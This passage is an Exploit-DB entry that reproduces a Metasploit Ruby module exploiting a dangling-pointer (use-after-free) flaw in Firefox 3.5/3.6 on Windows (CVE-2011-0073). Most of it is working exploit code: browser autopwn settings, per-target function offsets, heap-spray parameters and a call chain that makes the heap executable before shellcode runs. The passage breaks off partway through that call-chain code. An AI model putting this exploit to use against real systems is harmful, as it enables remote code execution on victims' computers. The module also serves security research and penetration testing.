Exploit-DB #17520
Description: Mozilla Firefox - 'nsTreeRange' Dangling Pointer (Metasploit) (1)
Type: remote
Platform: windows
Date: 2011-07-10
Author: Metasploit

Exploit:
##
# $Id: mozilla_nstreerange.rb 13148 2011-07-10 21:10:45Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	include Msf::Exploit::Remote::HttpServer::HTML
	
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name => HttpClients::FF,
		:ua_minver => "3.5",
		:ua_maxver => "3.6.16",
		:os_name => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank => NormalRanking,
		:vuln_test => "if (navigator.userAgent.indexOf('Windows NT 5.1') != -1 || navigator.javaEnabled()) { is_vuln = true; }",
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability',
			'Description'    => %q{
				This module exploits a code execution vulnerability in Mozilla Firefox
				3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection.
				By overwriting a subfunction of invalidateSelection it is possible to free the 
				nsTreeRange object that the function currently operates on. 
				Any further operations on the freed object can result in remote code execution.
				Utilizing the call setup the function provides it's possible to bypass DEP
				without the need for a ROP. Sadly this exploit is still either dependent
				on Java or bound by ASLR because Firefox doesn't employ any ASLR-free
				modules anymore.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'regenrecht', # discovered and sold to ZDI
					'xero', # Shenanigans
				],
			'Version'        => '$Revision: 13148 $',
			'References'     =>
				[
					['CVE',    '2011-0073'],
					['OSVDB',  '72087'],
					['BID',    '47663'],
					['URL',    'http://www.zerodayinitiative.com/advisories/ZDI-11-157/'],
					['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'],
					['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread', # graceful exit if run in separate thread
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 0x1000, # depending on the spray size it's actually a lot more
					'BadChars' => "",
				},
			'Targets'        =>
				[
					[ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'Auto' => true,
							'Targets' => [['navigator.userAgent.indexOf("Windows NT 5.1") != -1', 1],
								['navigator.javaEnabled()', 2]],
							'UsesJava' => true
						}
					],
					[ 'Firefox Runtime, fails with ASLR',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'VPOffset' => 0x781A91F8, # VirtualProtect
							'LLOffset' => 0x781A9104, # LoadLibraryA
							'GPAOffset' => 0x781A9014, # GetProcAddress
							'UsesJava' => false
						}
					],
					[ 'Java Runtime (7.10.3052.4), best against ASLR',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'VPOffset' => 0x7C37A140,
							'LLOffset' => 0x7C37A0B8,
							'GPAOffset' => 0x7C37A00C,
							'UsesJava' => true
						}
					],
					[ 'Java JVM (20.1.0.02)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'VPOffset' => 0x6D9FC094,
							'LLOffset' => 0x6D9FC110,
							'GPAOffset' => 0x6D9FC188,
							'UsesJava' => true
						}
					],
					[ 'Java Regutils (6.0.260.3)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'VPOffset' => 0x6D6C227C,
							'LLOffset' => 0x6D6C2198,
							'GPAOffset' => 0x6D6C2184,
							'UsesJava' => true
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 2 2011'
			))

       register_options(
			[
				OptBool.new('SEHProlog', [ true, 'Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit', true]),
				OptBool.new('CreateThread', [ true, 'Whether to execute the payload in a new thread', true]),
			], self.class
		)

		register_advanced_options(
			[
				OptInt.new('BaseOffset', [ true, 'The offset we hope to have overwritten with our heap spray', 0x0F000000 ]),
				OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks', 0x100000 ]),
				OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 200 ]),
				OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]),
				OptBool.new('Crash', [ true, 'Usa an invalid offset to make the exploit crash (for debugging)', false ]),
			], self.class
		)
	end
	
	def prepare_payload(target, p)
		base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1
		spray_size = datastore['SpraySize']

		esp_fix = 0
		callchain = []

		# Adding calls by hand is tedious, look at the bottom for an explanation of these values
		add_call = Proc.new { |offset, arg1, arg2, direct |
			next_offset = base_offset + (callchain.flatten.length*4)
			callchain[-1][2] = next_offset if callchain.length > 0 # connect new frame to last one

			if direct
				callchain <<
				[
					next_offset + 0x4 - 8,
					next_offset + 0x14,
					0,
					arg1,
					arg2,
					next_offset + 0x18 - 0x70,
					offset
				]
			else
				callchain <<
				[
					next_offset + 0x4 - 8,
					next_offset + 0x14,
					0,
					arg1,
					arg2,
					offset - 0x70
				]
			end
		}
		
		add_call.call(target['LLOffset'], base_offset, 0) # use dummy LoadLibrary call to push valid fourth VirtualProtect argument on stack
		add_call.call(target['VPOffset'], 0x10000, 0x40) # call VirtualProtect to make heap executable
		add_call.call(0xDEADBEEF, 0, 0, true) # call our she